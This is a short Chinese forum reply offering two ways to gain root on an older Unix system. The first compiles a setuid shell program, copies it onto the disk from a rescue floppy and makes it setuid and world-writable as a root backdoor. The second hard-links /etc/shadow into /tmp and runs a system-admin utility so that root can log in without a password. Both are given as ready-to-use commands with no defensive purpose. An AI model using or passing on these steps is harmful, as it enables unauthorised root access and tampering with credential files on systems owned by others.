- 论坛徽章:
- 0
|
回复 #1 hrduan268 的帖子
几种方法:提示下
一:#include <stdio.h>;
#include <unistd.h>;
main()
{
int i=0;//
int j=3;
setuid(i);
setgid(j);
execl(“/bin/sh",NULL);
}
保存为 getroot.c
在装有开发系统的计算机上代码,执行:
cc getroot.c -o getroot
应急盘启动 然后程序拷入硬盘
cd /mnt/usr/bin
tar xvf /dev/rfd0135ds18
chown root:sys getroot
chmod 777 getroot
chmod +s getroot
然后重启》reboot 以普通用户登陆 执行getroot 命令 此时你的$ 符号就变为#
OK
二:(如果你有任何一个普通用户 进入到任何一个地方(只要你能写的目录)
$ln /etc/shadow /tmp/debug.log
$ch /tmp
$/etc/sysadm.d/bin/userOsa
回车
用root登陆,不要密码
OK 进入到系统了
然后执行这个程序 |
|